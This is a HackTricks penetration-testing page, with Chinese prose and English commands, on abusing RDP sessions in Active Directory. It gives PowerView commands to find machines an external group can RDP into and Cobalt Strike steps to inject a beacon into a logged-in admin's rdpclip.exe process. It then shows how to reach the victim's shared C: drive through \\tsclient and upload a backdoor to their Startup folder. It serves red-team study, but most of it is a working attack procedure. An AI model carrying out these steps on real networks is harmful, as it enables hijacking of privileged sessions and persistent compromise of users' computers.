hacktricks/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md

RDP Sessions Abuse

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RDP 进程注入

如果 外部组 对当前域中的任何 计算机 具有 RDP 访问权限，则 攻击者 可以 入侵该计算机并等待他。

一旦该用户通过 RDP 访问，攻击者可以转移到该用户的会话 并滥用其在外部域中的权限。

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

检查 其他工具窃取会话的其他方法 在此页面。

RDPInception

如果用户通过 RDP 访问一台机器，而 攻击者 正在 等待 他，攻击者将能够 在用户的 RDP 会话中注入一个信标，如果 受害者在通过 RDP 访问时挂载了他的驱动器，攻击者可以访问它。

在这种情况下，你可以通过在 启动文件夹 中写入一个 后门 来 妥协 受害者 的 原始计算机。

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

Size     Type    Last Modified         Name
----     ----    -------------         ----
dir     02/10/2021 04:11:30   $Recycle.Bin
dir     02/10/2021 03:23:44   Boot
dir     02/20/2021 10:15:23   Config.Msi
dir     10/18/2016 01:59:39   Documents and Settings
[...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe

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